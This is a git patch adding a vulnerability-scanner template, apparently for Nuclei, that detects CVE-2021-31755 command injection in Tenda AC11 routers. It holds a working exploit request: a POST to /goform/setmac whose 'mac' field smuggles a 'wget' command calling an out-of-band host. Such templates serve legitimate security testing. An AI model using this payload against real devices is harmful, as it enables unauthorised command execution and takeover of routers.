From 1c729ab1ea5c4f2480a2d3088e22611613cd1e74 Mon Sep 17 00:00:00 2001
From: GwanYeong Kim <gy741.kim@gmail.com>
Date: Thu, 15 Jul 2021 15:09:26 +0900
Subject: [PATCH] Create CVE-2021-31755.yaml

Vulnerabilities in the web-based management interface of enda Router AC11 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
---
 cves/2021/CVE-2021-31755.yaml | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)
 create mode 100644 cves/2021/CVE-2021-31755.yaml

diff --git a/cves/2021/CVE-2021-31755.yaml b/cves/2021/CVE-2021-31755.yaml
new file mode 100644
index 0000000000..d1d4550b3f
--- /dev/null
+++ b/cves/2021/CVE-2021-31755.yaml
@@ -0,0 +1,32 @@
+id: CVE-2021-31755
+
+info:
+  name: Tenda Router AC11 RCE
+  description: Vulnerabilities in the web-based management interface of enda Router AC11 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
+  author: gy741
+  severity: critical
+  reference: |
+    - https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3
+    - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
+  tags: cve,cve2021,tenda,rce,oob
+
+requests:
+  - raw:
+      - |
+        POST /goform/setmac HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Origin: http://{{Hostname}}
+        Referer: http://{{Hostname}}/index.htmlr
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
+        Content-Type: application/x-www-form-urlencoded
+
+        module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"